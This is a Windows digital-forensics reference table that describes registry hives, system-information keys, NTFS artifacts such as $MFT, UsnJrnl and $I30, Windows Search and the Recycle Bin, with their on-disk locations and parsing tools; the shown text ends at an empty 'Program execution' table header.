| Registry hives  | General | <p>Registry hives are system-wide or per users hierarchical databases used by the Windows operating system, and third-party applications, to store information.<br><br>A registry hive is a group of keys, subkeys, and values in the registry, with supporting file(s) on disk. Registry hives are loaded in memory upon system boot or user logon from their associated files on disk.<br><br>Before being written / committed to a file on disk, registry modifications can be written to <code>Registry Transaction logs</code> (notably if the hives cannot be written to directly due to locking). <code>Transaction logs</code> are files named, and stored in the same directory, as their corresponding registry hives. Such as <code>SYSTEM.LOG1</code> and <code>SYSTEM.LOG2</code> for the <code>SYSTEM</code> registry file.</p> | <p>The system-wide registry hives are stored in the <code>HKEY\_LOCAL\_MACHINE</code> (<code>HKLM</code>) hive. The following notable system-wide root keys are defined:<br><br><code>HKEY\_LOCAL\_MACHINE\SYSTEM</code><br>File on disk: <code>%SystemRoot%\System32\config\SYSTEM</code>.<br><br><code>HKEY\_LOCAL\_MACHINE\SOFTWARE</code><br>File on disk: <code>%SystemRoot%\System32\config\SOFTWARE</code>.<br><br><code>HKEY\_LOCAL\_MACHINE\SECURITY</code><br>File on disk: <code>%SystemRoot%\System32\config\SECURITY</code>.<br><br><code>HKEY\_LOCAL\_MACHINE\SAM</code><br>File on disk: <code>%SystemRoot%\System32\config\SAM</code>.<br><br><code>HKEY\_USERS</code><br>Contains all the actively loaded user profile registry hives on the computer. The <code>.DEFAULT</code> key is populated from the <code>%SystemRoot%\Users\Default\NTUSER.DAT</code> file.<br>File on disk: users' <code>NTUSER.dat</code> and <code>UsrClass.dat</code> files (of logon users).<br><br>The <code>SYSTEM</code>, <code>SOFTWARE</code>, <code>SECURITY</code>, and <code>SAM</code> registry hives used to be backed up periodically (every 10 days by default) under the <code>%SystemRoot%\System32\config\RegBack</code> folder by the <code>RegIdleBackup</code> scheduled task. Starting with the Windows 10 operating system, this mechanism is no longer in use and no registry hive backups are stored under the <code>RegBack</code> folder.<br><br><br>The user specific registry information are stored in the <code>HKEY\_CURRENT\_USER</code> (<code>HKCU</code>) root key.<br><br><code>HKEY\_CURRENT\_USER</code><br>File on disk <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br><code>HKEY\_CURRENT\_USER\SOFTWARE\Classes</code><br>File on disk <code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Windows\UsrClass.dat</code><br><br><br><code>HKEY\_CLASSES\_ROOT</code><br>Define the programs and file extensions association.<br>Mapped to the keys <code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes</code>, for default settings, and <code>HKEY\_CURRENT\_USER\SOFTWARE\Classes</code>, for user specific settings that override the default settings.</p> | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | <p><code>RegistryExplorer</code><br><br><code>RECmd</code><br><br><code>RegRipper</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |

### System information

| Name                                                                                                            | Type               | Description                                                                                                                                                                                                                                                                                                                                                             | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Location                                                                                                                                                                                                                                                                                                                                                                    | Tool(s) |
| --------------------------------------------------------------------------------------------------------------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>ComputerName</code></p>                                               | System information | Name of the computer.                                                                                                                                                                                                                                                                                                                                                   | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</code></p>                                                                                                                                                                                                                 |         |
| <p><code>HKLM\SOFTWARE</code><br>-<br><code>CurrentVersion</code> (<code>ProductName</code> value)</p>          | System information | Version and Service pack number of the Windows operting system.                                                                                                                                                                                                                                                                                                         | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SOFTWARE</code><br>Registry key: <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></p>                                                                                                                                                                                                                             |         |
| <p><code>HKLM\SYSTEM</code><br>-<br>Security <code>Policy</code></p>                                            | System information | <p>Basic information on the system:<br>- Computer name and <code>SID</code>.<br>- Computer's domain and domain <code>SID</code> (for domain-joined hosts).</p>                                                                                                                                                                                                          | <p>Registry keys under <code>HKLM\SECURITY\Policy</code>:<br><br>- <code>PolAcDmN</code>: computer name<br><br>- <code>PolAcDmS</code>: computer <code>SID</code><br><br>- <code>PolDnDDN</code>: computer's domain name<br><br>- <code>PolPrDmS</code>: computer's domain <code>SID</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | File: `%SystemRoot%\System32\config\SECURITY`                                                                                                                                                                                                                                                                                                                               |         |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>TimeZoneInformation</code></p>                                        | System information | Time zone information.                                                                                                                                                                                                                                                                                                                                                  | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\System\CurrentControlSet\Control\TimeZoneInformation</code></p>                                                                                                                                                                                                                       |         |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>Select</code></p>                                                     | System information | <p><code>ControlSet</code> information for the <code>CurrentControlSet</code>, <code>ControlSet002</code>, ... registry keys:<br><br>- Current <code>ControlSet</code> pointed by the <code>CurrentControlSet</code> key.<br><br>- Last known good <code>ControlSet</code>.</p>                                                                                         | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\SYSTEM\Select</code></p>                                                                                                                                                                                                                                                              |         |
| <p><code>HKLM\SYSTEM</code><br>-<br>Network interfaces (<code>Interfaces</code>)</p>                            | System information | <p>Basic information about network interfaces (interface name, associated IP address, default gateway, and DHCP lease and eventual domain).<br><br>Additional network information is available in the <code>NetworkList</code> registry key.</p>                                                                                                                        | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\*</code></p>                                                                                                                                                                                                           |         |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>LanmanServer\Shares</code></p>                                        | System information | Network SMB shares hosted by the system.                                                                                                                                                                                                                                                                                                                                | <p>Each network share is associated with a <code>REG\_MULTI\_SZ</code> value.<br><br>The value is named from the network share name. The share name is also defined in the <code>ShareName</code> field of the registry value's data.<br><br>The share path on disk is defined in the in the <code>Path</code> field of the registry value's data.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares</code></p>                                                                                                                                                                                                                      |         |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>FirewallPolicy</code></p>                                             | System information | Windows local Firewall profiles (Public, Private, and Domain) status and configured rules.                                                                                                                                                                                                                                                                              | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\*</code></p>                                                                                                                                                                                                 |         |
| <p><code>HKLM\SOFTWARE</code> / <code>NTUSER</code><br>-<br>Installed applications (<code>App Paths</code>)</p> | System information | <p>Applications installed on the system, on a system-wide or per user basis.<br><br>The entries are mainly used by the Windows operating system for two purposes:<br><br>- Mapping an application file name to its executable full path.<br><br>- Pre-pending information to the <code>PATH</code> environment variable on a per-application and per-process basis.</p> | <p>Applications installed system-wide have their information written in the <code>HKLM\SOFTWARE</code> registry hive, while applications installed per user have their information written in the user <code>NTUSER</code> hive.<br><br>For each installed application the following notable information is available:<br><br>- File name and full file path of the application executable.<br><br>- Timestamp of installation.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | <p>For system-wide applications:<br>File:<br><code>%SystemRoot%\System32\config\SOFTWARE</code><br>Registry key: <code>Microsoft\Windows\CurrentVersion\App Paths</code><br><br>For per-user applications:<br>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths</code></p> |         |
| <p><code>HKLM\SOFTWARE</code> / <code>NTUSER</code><br>-<br><code>Uninstall</code></p>                          | System information | Applications installed on the system, on a system-wide or per user basis, as displayed in the "Add or remove programs" of the Windows Control Panel / Settings.                                                                                                                                                                                                         | <p>Applications installed system-wide have their information written in the <code>HKLM\SOFTWARE</code> registry hive, while applications installed per user have their information written in the user <code>NTUSER</code> hive.<br><br>Each application installation data is defined in a dedicated subkey under <code>Uninstall</code>, identified by the application name.<br><br>For each installed application the following notable information is available:<br><br>- The application name.<br><br>- The application installation location, display icon (often based directly on the application main executable, thus giving the full path of the application main program), full path of the uninstaller.<br><br>- The date of the installation. The last write timestamp of the registry key can also be an indicator of when the application was installed (with better precision).<br><br>- The size of the applicationn.<br><br>- Various metadata on the application (provided by the application installer itself): version, publisher, ...</p>                                                                                                                                                                                                                                                                                                                                                                                                                     | <p>For system-wide applications:<br>File:<br><code>%SystemRoot%\System32\config\SOFTWARE</code><br>Registry key: <code>Microsoft\Windows\CurrentVersion\Uninstall</code><br><br>For per-user applications:<br>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall</code></p> |         |
| <p><code>HKLM\SYSTEM</code><br>-<br>Installed services (<code>Services</code>)</p>                              | System information | <p>Windows services installed on the system.<br><br>For more information:<br><a href="/pages/-MNLC0P3fYKPmtfLpynh">local persistence note</a>.</p>                                                                                                                                                                                                                      | <p>Each service configuration is defined in a dedicated subkey under <code>Services</code>, identified by the service name.<br><br>For each services, the following notable information is available (under the service name root key):<br><br>- Service name and display name.<br><br>- Services image path.<br><br>- The service type:<br><code>0x1</code>: Kernel driver<br><code>0x2</code> / <code>0x8</code>: file system driver<br><code>0x10</code>: standard Windows service that runs in a process by itself<br><code>0x20</code>: Windows service that can share a process with other services.<br><code>0x50</code>: "USER\_OWN\_PROCESS TEMPLATE"<br><code>0x60</code>: "USER\_SHARE\_PROCESS TEMPLATE"<br><code>0x110</code>: like <code>0x10</code> but can interact with users.<br><code>0x120</code>: like <code>0x20</code> but can interact with users.<br><br>- The service start mode:<br><code>0x0</code>: "Boot Start"<br><code>0x01</code>: "System Start"<br><code>0x02</code>: "Auto Start"<br><code>0x03</code>: "Manual"<br><code>0x04</code>: "Disabled"<br><br>- The Windows specific privileges required by the service (<code>SeImpersonatePrivilege</code>, <code>SeDebugPrivilege</code>, etc.). No privileges can be set, for exemple if the service runs as <code>NT AUTHORITY\SYSEM</code>.<br><br>The last write timestamp of the service name root key can be an indicator of when the specific service configuration was last modified.</p> | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKLM\SYSTEM\CurrentControlSet\Services\&#x3C;SERVICE\_NAME></code></p>                                                                                                                                                                                                                     |         |
| <p><code>HKLM\SOFTWARE</code><br>-<br>Configured scheduled tasks (<code>Schedule\Taskcache</code>)</p>          | System information | <p>Scheduled tasks configured on the system as stored in the registry.<br><br>For more information:<br><a href="/pages/-MNLC0P3fYKPmtfLpynh">local persistence note</a>.</p>                                                                                                                                                                                            | <p>Each scheduled task configuration is defined in a dedicated subkey under <code>Schedule\Taskcache\Tasks</code>, identified by the task GUID.<br><br>For each tasks, the following notable information is available (under the task GUID root key):<br><br>- The task path.<br><br>- Some lifecycle timestamps of the task: created on, last start, and last stop.<br><br>- The task security descriptor (in <code>SDDL</code> notation).<br><br>- The task trigger(s) and action(s) in binary, non human readable format.<br><br>The mapping between a task name and its GUID can be done using the subkeys of the <code>Schedule\Taskcache\Tree</code> keys.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | <p>File: <code>%SystemRoot%\System32\config\SOFTWARE</code><br>Registry keys:<br><code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks</code><br><code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree</code></p>                                                                                                      |         |
| Configured scheduled tasks (`Tasks` folder)                                                                     | System information | <p>Scheduled tasks configured on the system, as stored in tasks <code>XML</code> files.<br><br>For more information:<br><a href="/pages/-MNLC0P3fYKPmtfLpynh">local persistence note</a>.</p>                                                                                                                                                                           | <p>Each scheduled task configuration is defined in a <code>XML</code> file, eventually in an intermediate subfolder, under the <code>Tasks</code> folder.<br><br>For each tasks, the following notable information is available:<br><br>- The task name and GUID, in the task filename itself.<br><br>- The task description.<br><br>- The task trigger(s) and action(s) (executable / command to be executed and its parameters for instance) in human readable format.<br><br>- The task status (enabled / disabled).<br><br>- The additional parameters of the task (wake to run, execution timeout, ...).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p><code>Windows XP</code> / <code>Windows Server 2003</code> (<code>Task Scheduler 1.0</code>):<br><code>%SystemRoot%\Windows\Tasks</code><br><br>Starting from <code>Windows 7</code> / <code>Windows Server 2008</code> (<code>Task Scheduler 2.0</code>):<br><code>%SystemRoot%\Windows\System32\Tasks</code></p>                                                       |         |

### Filesystem

| Name                             | Type                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Location                                                                                                                                                                                                                                                                                   | Tool(s)                                                                                                               |
| -------------------------------- | -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| `MFT`                            | Filesystem                 | <p>The <code>MFT</code>, filename <code>$MFT</code>, is the main element of any <code>NTFS</code> partition.<br><br>The <code>MFT</code> contains an entry for all existing files written on the partition. Deleted files that were once written on the partition may also still (temporally) have a record in the <code>MFT</code>.<br><br>The Partition Boot Sector <code>$Boot</code> metadata file, which starts at sector 0 and can be up to 16 sectors long, describes the basic <code>NTFS</code> volume information and indicates the location of the <code>$MFT</code>.<br><br>The <code>$MFTMirr</code> file is statically-located as the first entry in the <code>MFT</code> and contains the first 4 entries of the <code>MFT</code> (<code>MFT</code>, <code>$MFTMir</code>, <code>$LogFile</code>, and <code>$Volume</code>) as a recovery mechanism.<br><br>The <code>$Bitmap</code> file tracks the allocation status (allocated or unused) of the clusters of the volume. Each cluster is associated with a bit, set to <code>0x1</code> if the cluster is in use. Upon deletion of a non resident file, the <code>$Bitmap</code> file is updated to tag the cluster(s) associated with the file as free. The clusters are not overwritten during the deletion process, and the file data can thus be carved as long as the cluster(s) are not re-used.<br><br>For more information: <a href="/pages/-MNLC0OK0mv5rfHZPoQ2"><code>MFT</code> note</a>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                        | <p>Each file on an <code>NTFS</code> volume is represented in the <code>MFT</code> in a file record.<br><br>Small files and directories (typically 512 bytes or smaller), can be entirely contained within their associated <code>MFT</code> file record. These files are called <code>resident files</code>. Files larger than .<br><br>Directory records are stored within the master file table just like file records. Instead of data, directories contain index information.<br><br>A file record (<code>FILE0</code> data structure) notably includes:<br><br>- The filename.<br><br>- The file size.<br><br>- The file unique (under the <code>NTFS</code> volume) <code>Security ID</code> in the <code>$STANDARD\_INFORMATION</code> attribute.<br><br>- Two or three set of timestamps:<br><br>> The file creation, last modified, last accessed, last changed <code>SI</code> timestamps (<code>MACB</code>) in the <code>$STANDARD\_INFORMATION</code> attribute.<br><br>> The file creation, last modified, last accessed, last changed <code>FN</code> timestamps (<code>MACB</code>) in the <code>$FILE\_NAME</code> attribute. Two sets of <code>$FILE\_NAME</code> timestamps will be available for files with a short (<code>DOS</code>) and long filenames.<br><br>> For more information on Windows timestamps:<br><a href="/pages/-MWREKkohfRzb0pAnO7s">Windows timestamps note</a>.<br><br>- File access permissions.<br><br>- One or multiple <code>DATA</code> attribute, that either contain the file data for <code>resident file</code> or reference the clusters of disk space where the file is stored for <code>nonresident file</code>.<br><br>- Whether the <code>file record</code> is in use. When a file is deleted from the volume, its associated <code>MFT</code> <code>file record</code> is set as no longer in use, but is not directly deleted during the file deletion process. Metadata information, and content for <code>MFT</code> resident files, can thus be retrieved for recently deleted files (as long as the <code>file record</code> is not overwritten by a new entry).</p> | `%SystemDrive%:\$MFT`                                                                                                                                                                                                                                                                      | `MFTECmd.exe`                                                                                                         |
| `$Secure`                        | Filesystem                 | <p>The <code>$Secure</code> file contains the <code>security descriptor</code> for all the files and folders on a <code>NTFS</code> volume.<br><br>The <code>security descriptors</code> are stored within the <code>$SDS</code> named data stream of the <code>$Secure</code> file. The <code>$Secure</code> file additionally defines two other named streams (<code>$SDH</code> and <code>$SII</code>) for lookup in the <code>$SDS</code> stream.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | <p>Each file or folder is referenced in the <code>$Secure</code> file with its volume-unique <code>Security ID</code> and <code>security descriptor</code>.<br><br>The <code>Security ID</code> of the file is referenced in the <code>MFT</code> file record associated with the file (in the <code>$STANDARD\_INFORMATION</code> attribute). While no metadata information are present in the <code>$Secure</code> file (only the file's <code>security descriptor</code>), the file's <code>Security ID</code> can be used to map the file's information / data from the <code>MFT</code> to its <code>security descriptor</code> in the <code>$Secure</code> file.<br><br><br>The <code>security descriptor</code> (<code>SECURITY\_DESCRIPTOR</code> data structure) references:<br><br>- The owner of the file (as a pointer to a <code>SID</code> structure).<br><br>- The access rights to the file in the <code>Discretionary Access Control List (DACL)</code> attribute.<br><br>- The audit rights that control how access is audited (which access will generate events) in the <code>System Access Control List (SACL)</code> attribute.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `$Secure`                                                                                                                                                                                                                                                                                  | [`Secure2Csv`](https://github.com/jschicht/Secure2Csv)                                                                |
| `NTFS index attributes` (`$I30`) | Filesystem                 | <p>The <code>NTFS</code> <code>index attributes</code> are <code>MFT</code> attributes, of two distincts types, that index all the files / directories in a given directory (in a B-Tree data structure). Each directory contains one or more <code>index attributes</code>. The files and folders information displayed by the <code>Windows Explorer</code> are based on the index attribute(s) of the directory being accessed.<br><br>The entries (files or subdirectories) in a directory's <code>index attribute(s)</code> are stored as <code>index records</code> structures, with one dedicated record for every entry. The <code>index record</code> structure contains a <code>$FILE\_NAME</code> (<code>0x30</code>) attribute, in which are stored the information about the file or folder.<br><br>There is two types of <code>index attributes</code>:<br><br>- <code>$INDEX\_ROOT</code>: for directories with a small number of entries. The <code>$INDEX\_ROOT</code> attribute is always resident to the <code>MFT</code> and contains a small list of <code>index records</code>. A directory has at most one <code>$INDEX\_ROOT</code> attribute.<br><br>- <code>$INDEX\_ALLOCATION</code>: additional structure for larger directories, with no limitation on the number of entries. The <code>$INDEX\_ALLOCATION</code> attribute is non-resident and contains one or more <code>index records</code>. The <code>INDEX\_ALLOCATION</code> structure starts with the <code>INDX</code> signature. The <code>$INDEX\_ALLOCATION</code> attribute should not exist without an associated <code>$INDEX\_ROOT</code> attribute.<br><br>The <code>$Bitmap</code> attribute keep track of the index allocations.<br><br>The <code>$INDEX\_ROOT</code>, <code>$INDEX\_ALLOCATION</code>, and <code>$Bitmap</code> attributes are collectively refered to as <code>$I30</code>.</p> | <p>Each <code>index record</code> contains information on the file it references in a <code>$FILE\_NAME</code> (<code>0x30</code>) attribute:<br><br>- Filename and parent directory.<br><br>- File size.<br><br>- A set of <code>MACB</code> timestamps.<br><br>The <code>$FILE\_NAME</code> attribute of a <code>index record</code> in a directory <code>index attribute</code> should be kept in sync with the <code>MFT</code> file record's <code>$STANDARD\_INFORMATION</code> attribute of the corresponding entry. However, disparities may sometime occur, with the <code>index record</code> referencing older information.<br><br>Due to their B-Tree data structure format and their frequent rebalancing, <code>$INDEX\_ALLOCATION</code> attributes often contain a significant amount of slack space. <code>Index records</code> for deleted files no longer present in the <code>MFT</code> may be carvable from this slack space.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `MFT`'s `$INDEX_ROOT`, `$INDEX_ALLOCATION`, and `$Bitmap` attributes.                                                                                                                                                                                                                      | <p><code>MFTECmd.exe</code><br><br><a href="https://github.com/harelsegev/INDXRipper"><code>INDXRipper</code></a></p> |
| `$LogFile`                       | Filesystem                 | <p>The <code>$LogFile</code> is part of a journaling feature of <code>NTFS</code>, activated by default, which maintains a low-level record of changes made to the <code>NTFS</code> volume.<br><br>Every disk operation is journalized prior to being committed. In case of failure, such as a crash during an update, the <code>$LogFile</code> can be used to revert disk operations.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | As low-level operations are journalized, the `$LogFile` contains very limited historical data, usually only of the last few hours at most.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `$LogFile`                                                                                                                                                                                                                                                                                 |                                                                                                                       |
| `UsnJrnl`                        | Filesystem                 | The `UsnJrnl` is part of a journaling feature of `NTFS`, activated by default on Vista and later, which maintains a record of changes made to the `NTFS` volume. The creation, deletion or modification of files or directories are, among other operations, journalized.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | <p>The records in the <code>UsnJrnl</code> are progressively overwritten once the max size of the journal has been reached. The <code>UsnJrnl</code> usually contains historical data on the last few days (1-3 days for system full time use, < 7 days for regular system use).<br><br>The <code>UsnJrnl</code> is composed of two named data streams:<br><br>- The <code>$Max</code> stream stores the meta data of the change.<br><br>- The <code>$J</code> stream stores the actual change log records.<br><br>Each change log record is notably composed of:<br><br>- an <code>Update Sequence Number (USN)</code>.<br><br>- The timestamp of the change. - The reason / operation of the record (<code>USN\_REASON\_FILE\_CREATE</code>, <code>USN\_REASON\_FILE\_DELETE</code>, <code>USN\_REASON\_DATA\_OVERWRITE</code>, <code>USN\_REASON\_RENAME\_NEW\_NAME</code>, etc.).<br><br>- MFT reference and reference sequence number.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `$Max` and `$J` named data streams under `\$Extend\$UsnJrnl`                                                                                                                                                                                                                               | `MFTECmd.exe`                                                                                                         |
| `Windows Search` database        | Filesystem                 | <p>The <code>Windows Search</code> database provides an index to the Windows Search feature to improve search speed by indexing content. The Windows Search index is used for searches made through Windows taskbar, the Windows Explorer, and some <code>Universal Windows Platform (UWP)</code> applications (such as Outlook, OneDrive, etc.).<br><br>By default, only a subset of folders and files are indexed (to reduce the Windows Search database size and CPU usage). The folders scanned and number of items indexed can be consulted in the "Windows search settings" menu.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | <p>By default, only items from the following sources are scanned and indexed:<br><br>- Files and folders from the Users folders.<br>> Data available: file name, path, size, attributes, <code>MAC</code> timestamps. For small file, part of the content of the file may be indexed as well.<br><br>- Outlook mail data (with timestamp of reception, possible mail content).<br><br>- OneNote notes title.<br><br>- Internet explorer history (URLs, timestamp of last visit).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | <p>Windows XP:<br><code>%SystemDrive%:\Documents and Settings\All user\Application Data\Microsoft\Search\Data\Application\Windows\Windows.edb</code><br><br>Starting from Windows 7:<br><code>%SystemDrive%:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb</code></p> |                                                                                                                       |
| `Recycle Bin`                    | Filesystem (Deleted files) | Deleted files and folders (if deleted through a recycle bin aware application).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>The deleted files are placed in a subfolder (under <code>%SystemDrive%:$Recycle.Bin</code>) named after the <code>SID</code> of the user that performed the deletion. Deleted files can thus be associated with a given user.<br><br>Two kind of files are present in the <code>Recycle Bin</code>:<br><br>- <code>$I</code> (for "Information") files, which contain the path and timestamp of deletion of the original file.<br><br>- <code>$R</code> (for "Resource") files, which contain the original file content.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `%SystemDrive%:\$Recycle.Bin\<USER_SID>\*`                                                                                                                                                                                                                                                 |                                                                                                                       |

### Program execution

| Name                                                                                                                                                                                                                                            | Type                                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Tool(s)                                                                                                                                                                     |   |
